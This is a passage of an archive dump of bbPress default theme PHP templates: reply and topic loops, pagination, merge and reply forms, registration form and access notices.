								<li><?php esc_html_e( 'This process cannot be undone.', 'bbpress' ); ?></li>
							</ul>
						</div>

						<div class="bbp-submit-wrapper">
							<button type="submit" id="bbp_merge_topic_submit" name="bbp_merge_topic_submit" class="button submit"><?php esc_html_e( 'Submit', 'bbpress' ); ?></button>
						</div>
					</div>

					<?php bbp_split_topic_form_fields(); ?>

				</fieldset>
			</form>
		</div>

	<?php else : ?>

		<div id="no-topic-<?php bbp_topic_id(); ?>" class="bbp-no-topic">
			<div class="entry-content"><?php is_user_logged_in()
				? esc_html_e( 'You do not have permission to edit this topic.', 'bbpress' )
				: esc_html_e( 'You cannot edit this topic.',                    'bbpress' );
			?></div>
		</div>

	<?php endif; ?>

</div>
templates/default/bbpress/pagination-replies.php000066600000000750151771460310016144 0ustar00<?php

/**
 * Pagination for pages of replies (when viewing a topic)
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

do_action( 'bbp_template_before_pagination_loop' ); ?>

<div class="bbp-pagination">
	<div class="bbp-pagination-count"><?php bbp_topic_pagination_count(); ?></div>
	<div class="bbp-pagination-links"><?php bbp_topic_pagination_links(); ?></div>
</div>

<?php do_action( 'bbp_template_after_pagination_loop' );
templates/default/bbpress/loop-single-reply.php000066600000003453151771460310015736 0ustar00<?php

/**
 * Replies Loop - Single Reply
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

?>

<div id="post-<?php bbp_reply_id(); ?>" class="bbp-reply-header">
	<div class="bbp-meta">
		<span class="bbp-reply-post-date"><?php bbp_reply_post_date(); ?></span>

		<?php if ( bbp_is_single_user_replies() ) : ?>

			<span class="bbp-header">
				<?php esc_html_e( 'in reply to: ', 'bbpress' ); ?>
				<a class="bbp-topic-permalink" href="<?php bbp_topic_permalink( bbp_get_reply_topic_id() ); ?>"><?php bbp_topic_title( bbp_get_reply_topic_id() ); ?></a>
			</span>

		<?php endif; ?>

		<a href="<?php bbp_reply_url(); ?>" class="bbp-reply-permalink">#<?php bbp_reply_id(); ?></a>

		<?php do_action( 'bbp_theme_before_reply_admin_links' ); ?>

		<?php bbp_reply_admin_links(); ?>

		<?php do_action( 'bbp_theme_after_reply_admin_links' ); ?>

	</div><!-- .bbp-meta -->
</div><!-- #post-<?php bbp_reply_id(); ?> -->

<div <?php bbp_reply_class(); ?>>
	<div class="bbp-reply-author">

		<?php do_action( 'bbp_theme_before_reply_author_details' ); ?>

		<?php bbp_reply_author_link( array( 'show_role' => true ) ); ?>

		<?php if ( current_user_can( 'moderate', bbp_get_reply_id() ) ) : ?>

			<?php do_action( 'bbp_theme_before_reply_author_admin_details' ); ?>

			<div class="bbp-reply-ip"><?php bbp_author_ip( bbp_get_reply_id() ); ?></div>

			<?php do_action( 'bbp_theme_after_reply_author_admin_details' ); ?>

		<?php endif; ?>

		<?php do_action( 'bbp_theme_after_reply_author_details' ); ?>

	</div><!-- .bbp-reply-author -->

	<div class="bbp-reply-content">

		<?php do_action( 'bbp_theme_before_reply_content' ); ?>

		<?php bbp_reply_content(); ?>

		<?php do_action( 'bbp_theme_after_reply_content' ); ?>

	</div><!-- .bbp-reply-content -->
</div><!-- .reply -->
templates/default/bbpress/loop-search-topic.php000066600000004147151771460310015706 0ustar00<?php

/**
 * Search Loop - Single Topic
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

?>

<div class="bbp-topic-header">
	<div class="bbp-meta">
		<span class="bbp-topic-post-date"><?php bbp_topic_post_date( bbp_get_topic_id() ); ?></span>
		<a href="<?php bbp_topic_permalink(); ?>" class="bbp-topic-permalink">#<?php bbp_topic_id(); ?></a>
	</div><!-- .bbp-meta -->

	<div class="bbp-topic-title">

		<?php do_action( 'bbp_theme_before_topic_title' ); ?>

		<h3><?php esc_html_e( 'Topic:', 'bbpress' ); ?>
		<a href="<?php bbp_topic_permalink(); ?>"><?php bbp_topic_title(); ?></a></h3>

		<div class="bbp-topic-title-meta">

			<?php if ( function_exists( 'bbp_is_forum_group_forum' ) && bbp_is_forum_group_forum( bbp_get_topic_forum_id() ) ) : ?>

				<?php esc_html_e( 'in group forum ', 'bbpress' ); ?>

			<?php else : ?>

				<?php esc_html_e( 'in forum ', 'bbpress' ); ?>

			<?php endif; ?>

			<a href="<?php bbp_forum_permalink( bbp_get_topic_forum_id() ); ?>"><?php bbp_forum_title( bbp_get_topic_forum_id() ); ?></a>

		</div><!-- .bbp-topic-title-meta -->

		<?php do_action( 'bbp_theme_after_topic_title' ); ?>

	</div><!-- .bbp-topic-title -->

</div><!-- .bbp-topic-header -->

<div id="post-<?php bbp_topic_id(); ?>" <?php bbp_topic_class(); ?>>
	<div class="bbp-topic-author">

		<?php do_action( 'bbp_theme_before_topic_author_details' ); ?>

		<?php bbp_topic_author_link( array( 'show_role' => true ) ); ?>

		<?php if ( bbp_is_user_keymaster() ) : ?>

			<?php do_action( 'bbp_theme_before_topic_author_admin_details' ); ?>

			<div class="bbp-reply-ip"><?php bbp_author_ip( bbp_get_topic_id() ); ?></div>

			<?php do_action( 'bbp_theme_after_topic_author_admin_details' ); ?>

		<?php endif; ?>

		<?php do_action( 'bbp_theme_after_topic_author_details' ); ?>

	</div><!-- .bbp-topic-author -->

	<div class="bbp-topic-content">

		<?php do_action( 'bbp_theme_before_topic_content' ); ?>

		<?php bbp_topic_content(); ?>

		<?php do_action( 'bbp_theme_after_topic_content' ); ?>

	</div><!-- .bbp-topic-content -->
</div><!-- #post-<?php bbp_topic_id(); ?> -->
templates/default/bbpress/form-protected.php000066600000000564151771460310015307 0ustar00<?php

/**
 * Password Protected
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

?>

<div id="bbpress-forums" class="bbpress-wrapper">
	<fieldset class="bbp-form" id="bbp-protected">
		<Legend><?php esc_html_e( 'Protected', 'bbpress' ); ?></legend>

		<?php echo get_the_password_form(); ?>

	</fieldset>
</div>templates/default/bbpress/content-single-view.php000066600000001227151771460310016253 0ustar00<?php

/**
 * Single View Content Part
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

?>

<div id="bbpress-forums" class="bbpress-wrapper">

	<?php bbp_breadcrumb(); ?>

	<?php bbp_set_query_name( bbp_get_view_rewrite_id() ); ?>

	<?php if ( bbp_view_query() ) : ?>

		<?php bbp_get_template_part( 'pagination', 'topics'    ); ?>

		<?php bbp_get_template_part( 'loop',       'topics'    ); ?>

		<?php bbp_get_template_part( 'pagination', 'topics'    ); ?>

	<?php else : ?>

		<?php bbp_get_template_part( 'feedback',   'no-topics' ); ?>

	<?php endif; ?>

	<?php bbp_reset_query_name(); ?>

</div>
templates/default/bbpress/alert-topic-lock.php000066600000001335151771460310015523 0ustar00<?php

/**
 * Topic Lock Alert
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

do_action( 'bbp_theme_before_alert_topic_lock' ); ?>

<?php if ( bbp_show_topic_lock_alert() ) : ?>

	<div class="bbp-alert-outer">
		<div class="bbp-alert-inner">
			<p class="bbp-alert-description"><?php bbp_topic_lock_description(); ?></p>
			<p class="bbp-alert-actions">
				<a class="bbp-alert-back" href="<?php bbp_forum_permalink( bbp_get_topic_forum_id() ); ?>"><?php esc_html_e( 'Leave', 'bbpress' ); ?></a>
				<a class="bbp-alert-close" href="#"><?php esc_html_e( 'Stay', 'bbpress' ); ?></a>
			</p>
		</div>
	</div>

<?php endif;

do_action( 'bbp_theme_after_alert_topic_lock' );
templates/default/bbpress/form-topic-merge.php000066600000010225151771460310015524 0ustar00<?php

/**
 * Merge Topic
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

?>

<div id="bbpress-forums" class="bbpress-wrapper">

	<?php bbp_breadcrumb(); ?>

	<?php if ( is_user_logged_in() && current_user_can( 'edit_topic', bbp_get_topic_id() ) ) : ?>

		<div id="merge-topic-<?php bbp_topic_id(); ?>" class="bbp-topic-merge">

			<form id="merge_topic" name="merge_topic" method="post">

				<fieldset class="bbp-form">

					<legend><?php printf( esc_html__( 'Merge topic "%s"', 'bbpress' ), bbp_get_topic_title() ); ?></legend>

					<div>

						<div class="bbp-template-notice info">
							<ul>
								<li><?php esc_html_e( 'Select the topic to merge this one into. The destination topic will remain the lead topic, and this one will change into a reply.', 'bbpress' ); ?></li>
								<li><?php esc_html_e( 'To keep this topic as the lead, go to the other topic and use the merge tool from there instead.',                                  'bbpress' ); ?></li>
							</ul>
						</div>

						<div class="bbp-template-notice">
							<ul>
								<li><?php esc_html_e( 'Replies to both topics are merged chronologically, ordered by the time and date they were published. Topics may be updated to a 1 second difference to maintain chronological order based on the merge direction.', 'bbpress' ); ?></li>
							</ul>
						</div>

						<fieldset class="bbp-form">
							<legend><?php esc_html_e( 'Destination', 'bbpress' ); ?></legend>
							<div>
								<?php if ( bbp_has_topics( array( 'show_stickies' => false, 'post_parent' => bbp_get_topic_forum_id( bbp_get_topic_id() ), 'post__not_in' => array( bbp_get_topic_id() ) ) ) ) : ?>

									<label for="bbp_destination_topic"><?php esc_html_e( 'Merge with this topic:', 'bbpress' ); ?></label>

									<?php
										bbp_dropdown( array(
											'post_type'   => bbp_get_topic_post_type(),
											'post_parent' => bbp_get_topic_forum_id( bbp_get_topic_id() ),
											'post_status' => bbp_get_public_topic_statuses(),
											'selected'    => -1,
											'exclude'     => bbp_get_topic_id(),
											'select_id'   => 'bbp_destination_topic'
										) );
									?>

								<?php else : ?>

									<label><?php esc_html_e( 'There are no other topics in this forum to merge with.', 'bbpress' ); ?></label>

								<?php endif; ?>

							</div>
						</fieldset>

						<fieldset class="bbp-form">
							<legend><?php esc_html_e( 'Topic Extras', 'bbpress' ); ?></legend>

							<div>

								<?php if ( bbp_is_subscriptions_active() ) : ?>

									<input name="bbp_topic_subscribers" id="bbp_topic_subscribers" type="checkbox" value="1" checked="checked" />
									<label for="bbp_topic_subscribers"><?php esc_html_e( 'Merge topic subscribers', 'bbpress' ); ?></label><br />

								<?php endif; ?>

								<input name="bbp_topic_favoriters" id="bbp_topic_favoriters" type="checkbox" value="1" checked="checked" />
								<label for="bbp_topic_favoriters"><?php esc_html_e( 'Merge topic favoriters', 'bbpress' ); ?></label><br />

								<?php if ( bbp_allow_topic_tags() ) : ?>

									<input name="bbp_topic_tags" id="bbp_topic_tags" type="checkbox" value="1" checked="checked" />
									<label for="bbp_topic_tags"><?php esc_html_e( 'Merge topic tags', 'bbpress' ); ?></label><br />

								<?php endif; ?>

							</div>
						</fieldset>

						<div class="bbp-template-notice error">
							<ul>
								<li><?php esc_html_e( 'This process cannot be undone.', 'bbpress' ); ?></li>
							</ul>
						</div>

						<div class="bbp-submit-wrapper">
							<button type="submit" id="bbp_merge_topic_submit" name="bbp_merge_topic_submit" class="button submit"><?php esc_html_e( 'Submit', 'bbpress' ); ?></button>
						</div>
					</div>

					<?php bbp_merge_topic_form_fields(); ?>

				</fieldset>
			</form>
		</div>

	<?php else : ?>

		<div id="no-topic-<?php bbp_topic_id(); ?>" class="bbp-no-topic">
			<div class="entry-content"><?php is_user_logged_in()
				? esc_html_e( 'You do not have permission to edit this topic.', 'bbpress' )
				: esc_html_e( 'You cannot edit this topic.',                    'bbpress' );
			?></div>
		</div>

	<?php endif; ?>

</div>
templates/default/bbpress/user-subscriptions.php000066600000002671151771460310016241 0ustar00<?php

/**
 * User Subscriptions
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

do_action( 'bbp_template_before_user_subscriptions' ); ?>

<?php if ( bbp_is_subscriptions_active() ) : ?>

	<?php if ( bbp_is_user_home() || current_user_can( 'edit_user', bbp_get_displayed_user_id() ) ) : ?>

		<div id="bbp-user-subscriptions" class="bbp-user-subscriptions">

			<?php bbp_get_template_part( 'form', 'topic-search' ); ?>

			<h2 class="entry-title"><?php esc_html_e( 'Subscribed Forums', 'bbpress' ); ?></h2>
			<div class="bbp-user-section">

				<?php if ( bbp_get_user_forum_subscriptions() ) : ?>

					<?php bbp_get_template_part( 'loop', 'forums' ); ?>

				<?php else : ?>

					<?php bbp_get_template_part( 'feedback', 'no-forums' ); ?>

				<?php endif; ?>

			</div>

			<h2 class="entry-title"><?php esc_html_e( 'Subscribed Topics', 'bbpress' ); ?></h2>
			<div class="bbp-user-section">

				<?php if ( bbp_get_user_topic_subscriptions() ) : ?>

					<?php bbp_get_template_part( 'pagination', 'topics' ); ?>

					<?php bbp_get_template_part( 'loop',       'topics' ); ?>

					<?php bbp_get_template_part( 'pagination', 'topics' ); ?>

				<?php else : ?>

					<?php bbp_get_template_part( 'feedback', 'no-topics' ); ?>

				<?php endif; ?>

			</div>
		</div><!-- #bbp-user-subscriptions -->

	<?php endif; ?>

<?php endif; ?>

<?php do_action( 'bbp_template_after_user_subscriptions' );
templates/default/bbpress/loop-replies.php000066600000002471151771460310014766 0ustar00<?php

/**
 * Replies Loop
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

do_action( 'bbp_template_before_replies_loop' ); ?>

<ul id="topic-<?php bbp_topic_id(); ?>-replies" class="forums bbp-replies">

	<li class="bbp-header">
		<div class="bbp-reply-author"><?php esc_html_e( 'Author',  'bbpress' ); ?></div><!-- .bbp-reply-author -->
		<div class="bbp-reply-content"><?php bbp_show_lead_topic()
			? esc_html_e( 'Replies', 'bbpress' )
			: esc_html_e( 'Posts',   'bbpress' );
		?></div><!-- .bbp-reply-content -->
	</li><!-- .bbp-header -->

	<li class="bbp-body">

		<?php if ( bbp_thread_replies() ) : ?>

			<?php bbp_list_replies(); ?>

		<?php else : ?>

			<?php while ( bbp_replies() ) : bbp_the_reply(); ?>

				<?php bbp_get_template_part( 'loop', 'single-reply' ); ?>

			<?php endwhile; ?>

		<?php endif; ?>

	</li><!-- .bbp-body -->

	<li class="bbp-footer">
		<div class="bbp-reply-author"><?php esc_html_e( 'Author',  'bbpress' ); ?></div>
		<div class="bbp-reply-content"><?php bbp_show_lead_topic()
			? esc_html_e( 'Replies', 'bbpress' )
			: esc_html_e( 'Posts',   'bbpress' );
		?></div><!-- .bbp-reply-content -->
	</li><!-- .bbp-footer -->
</ul><!-- #topic-<?php bbp_topic_id(); ?>-replies -->

<?php do_action( 'bbp_template_after_replies_loop' );
templates/default/bbpress/content-single-topic.php000066600000002174151771460310016421 0ustar00<?php

/**
 * Single Topic Content Part
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

?>

<div id="bbpress-forums" class="bbpress-wrapper">

	<?php bbp_breadcrumb(); ?>

	<?php bbp_topic_subscription_link(); ?>

	<?php bbp_topic_favorite_link(); ?>

	<?php do_action( 'bbp_template_before_single_topic' ); ?>

	<?php if ( post_password_required() ) : ?>

		<?php bbp_get_template_part( 'form', 'protected' ); ?>

	<?php else : ?>

		<?php bbp_topic_tag_list(); ?>

		<?php bbp_single_topic_description(); ?>

		<?php if ( bbp_show_lead_topic() ) : ?>

			<?php bbp_get_template_part( 'content', 'single-topic-lead' ); ?>

		<?php endif; ?>

		<?php if ( bbp_has_replies() ) : ?>

			<?php bbp_get_template_part( 'pagination', 'replies' ); ?>

			<?php bbp_get_template_part( 'loop',       'replies' ); ?>

			<?php bbp_get_template_part( 'pagination', 'replies' ); ?>

		<?php endif; ?>

		<?php bbp_get_template_part( 'form', 'reply' ); ?>

	<?php endif; ?>

	<?php bbp_get_template_part( 'alert', 'topic-lock' ); ?>

	<?php do_action( 'bbp_template_after_single_topic' ); ?>

</div>
templates/default/bbpress/form-reply.php000066600000016607151771460310014456 0ustar00<?php

/**
 * New/Edit Reply
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

if ( bbp_is_reply_edit() ) : ?>

<div id="bbpress-forums" class="bbpress-wrapper">

	<?php bbp_breadcrumb(); ?>

<?php endif; ?>

<?php if ( bbp_current_user_can_access_create_reply_form() ) : ?>

	<div id="new-reply-<?php bbp_topic_id(); ?>" class="bbp-reply-form">

		<form id="new-post" name="new-post" method="post">

			<?php do_action( 'bbp_theme_before_reply_form' ); ?>

			<fieldset class="bbp-form">
				<legend><?php printf( esc_html__( 'Reply To: %s', 'bbpress' ), ( bbp_get_form_reply_to() ) ? sprintf( esc_html__( 'Reply #%1$s in %2$s', 'bbpress' ), bbp_get_form_reply_to(), bbp_get_topic_title() ) : bbp_get_topic_title() ); ?></legend>

				<?php do_action( 'bbp_theme_before_reply_form_notices' ); ?>

				<?php if ( ! bbp_is_topic_open() && ! bbp_is_reply_edit() ) : ?>

					<div class="bbp-template-notice">
						<ul>
							<li><?php esc_html_e( 'This topic is marked as closed to new replies, however your posting capabilities still allow you to reply.', 'bbpress' ); ?></li>
						</ul>
					</div>

				<?php endif; ?>

				<?php if ( ! bbp_is_reply_edit() && bbp_is_forum_closed() ) : ?>

					<div class="bbp-template-notice">
						<ul>
							<li><?php esc_html_e( 'This forum is closed to new content, however your posting capabilities still allow you to post.', 'bbpress' ); ?></li>
						</ul>
					</div>

				<?php endif; ?>

				<?php if ( current_user_can( 'unfiltered_html' ) ) : ?>

					<div class="bbp-template-notice">
						<ul>
							<li><?php esc_html_e( 'Your account has the ability to post unrestricted HTML content.', 'bbpress' ); ?></li>
						</ul>
					</div>

				<?php endif; ?>

				<?php do_action( 'bbp_template_notices' ); ?>

				<div>

					<?php bbp_get_template_part( 'form', 'anonymous' ); ?>

					<?php do_action( 'bbp_theme_before_reply_form_content' ); ?>

					<?php bbp_the_content( array( 'context' => 'reply' ) ); ?>

					<?php do_action( 'bbp_theme_after_reply_form_content' ); ?>

					<?php if ( ! ( bbp_use_wp_editor() || current_user_can( 'unfiltered_html' ) ) ) : ?>

						<p class="form-allowed-tags">
							<label><?php esc_html_e( 'You may use these <abbr title="HyperText Markup Language">HTML</abbr> tags and attributes:','bbpress' ); ?></label><br />
							<code><?php bbp_allowed_tags(); ?></code>
						</p>

					<?php endif; ?>

					<?php if ( bbp_allow_topic_tags() && current_user_can( 'assign_topic_tags', bbp_get_topic_id() ) ) : ?>

						<?php do_action( 'bbp_theme_before_reply_form_tags' ); ?>

						<p>
							<label for="bbp_topic_tags"><?php esc_html_e( 'Tags:', 'bbpress' ); ?></label><br />
							<input type="text" value="<?php bbp_form_topic_tags(); ?>" size="40" name="bbp_topic_tags" id="bbp_topic_tags" <?php disabled( bbp_is_topic_spam() ); ?> />
						</p>

						<?php do_action( 'bbp_theme_after_reply_form_tags' ); ?>

					<?php endif; ?>

					<?php if ( bbp_is_subscriptions_active() && ! bbp_is_anonymous() && ( ! bbp_is_reply_edit() || ( bbp_is_reply_edit() && ! bbp_is_reply_anonymous() ) ) ) : ?>

						<?php do_action( 'bbp_theme_before_reply_form_subscription' ); ?>

						<p>

							<input name="bbp_topic_subscription" id="bbp_topic_subscription" type="checkbox" value="bbp_subscribe"<?php bbp_form_topic_subscribed(); ?> />

							<?php if ( bbp_is_reply_edit() && ( bbp_get_reply_author_id() !== bbp_get_current_user_id() ) ) : ?>

								<label for="bbp_topic_subscription"><?php esc_html_e( 'Notify the author of follow-up replies via email', 'bbpress' ); ?></label>

							<?php else : ?>

								<label for="bbp_topic_subscription"><?php esc_html_e( 'Notify me of follow-up replies via email', 'bbpress' ); ?></label>

							<?php endif; ?>

						</p>

						<?php do_action( 'bbp_theme_after_reply_form_subscription' ); ?>

					<?php endif; ?>

					<?php if ( bbp_is_reply_edit() ) : ?>

						<?php if ( current_user_can( 'moderate', bbp_get_reply_id() ) ) : ?>

							<?php do_action( 'bbp_theme_before_reply_form_reply_to' ); ?>

							<p class="form-reply-to">
								<label for="bbp_reply_to"><?php esc_html_e( 'Reply To:', 'bbpress' ); ?></label><br />
								<?php bbp_reply_to_dropdown(); ?>
							</p>

							<?php do_action( 'bbp_theme_after_reply_form_reply_to' ); ?>

							<?php do_action( 'bbp_theme_before_reply_form_status' ); ?>

							<p>
								<label for="bbp_reply_status"><?php esc_html_e( 'Reply Status:', 'bbpress' ); ?></label><br />
								<?php bbp_form_reply_status_dropdown(); ?>
							</p>

							<?php do_action( 'bbp_theme_after_reply_form_status' ); ?>

						<?php endif; ?>

						<?php if ( bbp_allow_revisions() ) : ?>

							<?php do_action( 'bbp_theme_before_reply_form_revisions' ); ?>

							<fieldset class="bbp-form">
								<legend>
									<input name="bbp_log_reply_edit" id="bbp_log_reply_edit" type="checkbox" value="1" <?php bbp_form_reply_log_edit(); ?> />
									<label for="bbp_log_reply_edit"><?php esc_html_e( 'Keep a log of this edit:', 'bbpress' ); ?></label><br />
								</legend>

								<div>
									<label for="bbp_reply_edit_reason"><?php printf( esc_html__( 'Optional reason for editing:', 'bbpress' ), bbp_get_current_user_name() ); ?></label><br />
									<input type="text" value="<?php bbp_form_reply_edit_reason(); ?>" size="40" name="bbp_reply_edit_reason" id="bbp_reply_edit_reason" />
								</div>
							</fieldset>

							<?php do_action( 'bbp_theme_after_reply_form_revisions' ); ?>

						<?php endif; ?>

					<?php endif; ?>

					<?php do_action( 'bbp_theme_before_reply_form_submit_wrapper' ); ?>

					<div class="bbp-submit-wrapper">

						<?php do_action( 'bbp_theme_before_reply_form_submit_button' ); ?>

						<?php bbp_cancel_reply_to_link(); ?>

						<button type="submit" id="bbp_reply_submit" name="bbp_reply_submit" class="button submit"><?php esc_html_e( 'Submit', 'bbpress' ); ?></button>

						<?php do_action( 'bbp_theme_after_reply_form_submit_button' ); ?>

					</div>

					<?php do_action( 'bbp_theme_after_reply_form_submit_wrapper' ); ?>

				</div>

				<?php bbp_reply_form_fields(); ?>

			</fieldset>

			<?php do_action( 'bbp_theme_after_reply_form' ); ?>

		</form>
	</div>

<?php elseif ( bbp_is_topic_closed() ) : ?>

	<div id="no-reply-<?php bbp_topic_id(); ?>" class="bbp-no-reply">
		<div class="bbp-template-notice">
			<ul>
				<li><?php printf( esc_html__( 'The topic &#8216;%s&#8217; is closed to new replies.', 'bbpress' ), bbp_get_topic_title() ); ?></li>
			</ul>
		</div>
	</div>

<?php elseif ( bbp_is_forum_closed( bbp_get_topic_forum_id() ) ) : ?>

	<div id="no-reply-<?php bbp_topic_id(); ?>" class="bbp-no-reply">
		<div class="bbp-template-notice">
			<ul>
				<li><?php printf( esc_html__( 'The forum &#8216;%s&#8217; is closed to new topics and replies.', 'bbpress' ), bbp_get_forum_title( bbp_get_topic_forum_id() ) ); ?></li>
			</ul>
		</div>
	</div>

<?php else : ?>

	<div id="no-reply-<?php bbp_topic_id(); ?>" class="bbp-no-reply">
		<div class="bbp-template-notice">
			<ul>
				<li><?php is_user_logged_in()
					? esc_html_e( 'You cannot reply to this topic.',               'bbpress' )
					: esc_html_e( 'You must be logged in to reply to this topic.', 'bbpress' );
				?></li>
			</ul>
		</div>

		<?php if ( ! is_user_logged_in() ) : ?>

			<?php bbp_get_template_part( 'form', 'user-login' ); ?>

		<?php endif; ?>

	</div>

<?php endif; ?>

<?php if ( bbp_is_reply_edit() ) : ?>

</div>

<?php endif;
templates/default/bbpress/loop-forums.php000066600000002211151771460310014626 0ustar00<?php

/**
 * Forums Loop
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

do_action( 'bbp_template_before_forums_loop' ); ?>

<ul id="forums-list-<?php bbp_forum_id(); ?>" class="bbp-forums">

	<li class="bbp-header">

		<ul class="forum-titles">
			<li class="bbp-forum-info"><?php esc_html_e( 'Forum', 'bbpress' ); ?></li>
			<li class="bbp-forum-topic-count"><?php esc_html_e( 'Topics', 'bbpress' ); ?></li>
			<li class="bbp-forum-reply-count"><?php bbp_show_lead_topic()
				? esc_html_e( 'Replies', 'bbpress' )
				: esc_html_e( 'Posts',   'bbpress' );
			?></li>
			<li class="bbp-forum-freshness"><?php esc_html_e( 'Last Post', 'bbpress' ); ?></li>
		</ul>

	</li><!-- .bbp-header -->

	<li class="bbp-body">

		<?php while ( bbp_forums() ) : bbp_the_forum(); ?>

			<?php bbp_get_template_part( 'loop', 'single-forum' ); ?>

		<?php endwhile; ?>

	</li><!-- .bbp-body -->

	<li class="bbp-footer">

		<div class="tr">
			<p class="td colspan4">&nbsp;</p>
		</div><!-- .tr -->

	</li><!-- .bbp-footer -->

</ul><!-- .forums-directory -->

<?php do_action( 'bbp_template_after_forums_loop' );
templates/default/bbpress/user-replies-created.php000066600000001600151771460310016371 0ustar00<?php

/**
 * User Replies Created
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

do_action( 'bbp_template_before_user_replies' ); ?>

<div id="bbp-user-replies-created" class="bbp-user-replies-created">

	<?php bbp_get_template_part( 'form', 'reply-search' ); ?>

	<h2 class="entry-title"><?php esc_html_e( 'Forum Replies Created', 'bbpress' ); ?></h2>
	<div class="bbp-user-section">

		<?php if ( bbp_get_user_replies_created() ) : ?>

			<?php bbp_get_template_part( 'pagination', 'replies' ); ?>

			<?php bbp_get_template_part( 'loop',       'replies' ); ?>

			<?php bbp_get_template_part( 'pagination', 'replies' ); ?>

		<?php else : ?>

			<?php bbp_get_template_part( 'feedback', 'no-replies' ); ?>

		<?php endif; ?>

	</div>
</div><!-- #bbp-user-replies-created -->

<?php do_action( 'bbp_template_after_user_replies' );
templates/default/bbpress/feedback-logged-in.php000066600000000435151771460310015741 0ustar00<?php

/**
 * Logged In Feedback Part
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

?>

<div class="bbp-template-notice info">
	<ul>
		<li><?php esc_html_e( 'You are already logged in.', 'bbpress' ); ?></li>
	</ul>
</div>
templates/default/bbpress/feedback-no-access.php000066600000000774151771460310015755 0ustar00<?php

/**
 * No Access Feedback Part
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

?>

<div id="forum-private" class="bbp-forum-content">
	<h1 class="entry-title"><?php esc_html_e( 'Private', 'bbpress' ); ?></h1>
	<div class="entry-content">
		<div class="bbp-template-notice info">
			<ul>
				<li><?php esc_html_e( 'You do not have permission to view this forum.', 'bbpress' ); ?></li>
			</ul>
		</div>
	</div>
</div><!-- #forum-private -->
templates/default/bbpress/content-single-forum.php000066600000002310151771460310016423 0ustar00<?php

/**
 * Single Forum Content Part
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

?>

<div id="bbpress-forums" class="bbpress-wrapper">

	<?php bbp_breadcrumb(); ?>

	<?php bbp_forum_subscription_link(); ?>

	<?php do_action( 'bbp_template_before_single_forum' ); ?>

	<?php if ( post_password_required() ) : ?>

		<?php bbp_get_template_part( 'form', 'protected' ); ?>

	<?php else : ?>

		<?php bbp_single_forum_description(); ?>

		<?php if ( bbp_has_forums() ) : ?>

			<?php bbp_get_template_part( 'loop', 'forums' ); ?>

		<?php endif; ?>

		<?php if ( ! bbp_is_forum_category() && bbp_has_topics() ) : ?>

			<?php bbp_get_template_part( 'pagination', 'topics'    ); ?>

			<?php bbp_get_template_part( 'loop',       'topics'    ); ?>

			<?php bbp_get_template_part( 'pagination', 'topics'    ); ?>

			<?php bbp_get_template_part( 'form',       'topic'     ); ?>

		<?php elseif ( ! bbp_is_forum_category() ) : ?>

			<?php bbp_get_template_part( 'feedback',   'no-topics' ); ?>

			<?php bbp_get_template_part( 'form',       'topic'     ); ?>

		<?php endif; ?>

	<?php endif; ?>

	<?php do_action( 'bbp_template_after_single_forum' ); ?>

</div>
templates/default/bbpress/form-user-register.php000066600000003175151771460310016117 0ustar00<?php

/**
 * User Registration Form
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

?>

<form method="post" action="<?php bbp_wp_login_action( array( 'context' => 'login_post' ) ); ?>" class="bbp-login-form">
	<fieldset class="bbp-form">
		<legend><?php esc_html_e( 'Create an Account', 'bbpress' ); ?></legend>

		<?php do_action( 'bbp_template_before_register_fields' ); ?>

		<div class="bbp-template-notice">
			<ul>
				<li><?php esc_html_e( 'Your username must be unique, and cannot be changed later.',                        'bbpress' ); ?></li>
				<li><?php esc_html_e( 'We use your email address to email you a secure password and verify your account.', 'bbpress' ); ?></li>
			</ul>
		</div>

		<div class="bbp-username">
			<label for="user_login"><?php esc_html_e( 'Username', 'bbpress' ); ?>: </label>
			<input type="text" name="user_login" value="<?php bbp_sanitize_val( 'user_login' ); ?>" size="20" id="user_login" maxlength="100" autocomplete="off" />
		</div>

		<div class="bbp-email">
			<label for="user_email"><?php esc_html_e( 'Email', 'bbpress' ); ?>: </label>
			<input type="text" name="user_email" value="<?php bbp_sanitize_val( 'user_email' ); ?>" size="20" id="user_email" maxlength="100" autocomplete="off" />
		</div>

		<?php do_action( 'register_form' ); ?>

		<div class="bbp-submit-wrapper">

			<button type="submit" name="user-submit" class="button submit user-submit"><?php esc_html_e( 'Register', 'bbpress' ); ?></button>

			<?php bbp_user_register_fields(); ?>

		</div>

		<?php do_action( 'bbp_template_after_register_fields' ); ?>

	</fieldset>
</form>
templates/default/bbpress/form-reply-move.php000066600000006631151771460310015416 0ustar00<?php

/**
 * Move Reply
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

?>

<div id="bbpress-forums" class="bbpress-wrapper">

	<?php bbp_breadcrumb(); ?>

	<?php if ( is_user_logged_in() && current_user_can( 'edit_topic', bbp_get_topic_id() ) ) : ?>

